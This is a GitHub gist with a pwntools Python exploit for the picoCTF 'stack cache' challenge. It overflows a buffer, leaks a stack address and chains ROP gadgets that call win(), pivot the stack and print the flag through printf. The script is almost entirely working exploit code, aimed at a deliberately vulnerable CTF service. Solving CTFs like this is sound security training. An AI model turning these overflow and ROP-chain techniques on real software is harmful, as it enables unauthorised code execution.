Skip to content

Instantly share code, notes, and snippets.

@reductor
Created April 7, 2022 23:06
Show Gist options
  • Save reductor/52da762abd1e81dc752f0284b8e79530 to your computer and use it in GitHub Desktop.
Save reductor/52da762abd1e81dc752f0284b8e79530 to your computer and use it in GitHub Desktop.
picoCTF : stack cache
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template vuln --host saturn.picoctf.net --port 58304
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('vuln')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'saturn.picoctf.net'
port = int(args.PORT or 51521)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
io = start()
##
## This value is found by sending "cyclic 200" as the payload to find the
## buffer overflow then get the value from the instruction pointer
##
vuln_overflow_offset = 0x61656161
##
## Get the stack location by calling UnderConstruction() then call vuln() again
## so we get back to being able to exploit the binary
##
rop = ROP(exe)
rop.UnderConstruction()
rop.vuln()
print(rop.dump())
io.sendlineafter(b'the flag', fit({vuln_overflow_offset: rop.chain()}))
io.recvuntil('0xff')
io.unrecv('0xff')
stack_loc = int(io.recv(10),16)
print('stack loc '+hex(stack_loc))
##
## Build a rop chain which will call 'win' function and migrate the stack by +0x100
## win() will put the flag on the stack when it is called if we kept executing then
## it would overwrite the data on the stack
##
rop = ROP(exe)
rop.win()
rop.migrate(stack_loc+0x100)
print(rop.dump())
##
## Build a rop chain to be placed after the chain above, which should end up at the +0x100
## offset, this will use printf to output the flag.
##
## The offset location for this was found using a search for the flag with GDB attached
##
rop2 = ROP(exe)
rop2.printf(stack_loc-0x20)
rop2.exit()
print(rop2.dump())
##
## Build a payload for overflowing, we pad between the two rop chains with a bunch of
## 'ret' gadgets which gives more room for the +0x100 to land at if the offset is wrong
##
rop_ret = 0x0804900e
io.sendlineafter(b'the flag', fit({vuln_overflow_offset: rop.chain() + p32(rop_ret) * 60 + rop2.chain()}))
print(io.recvall())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment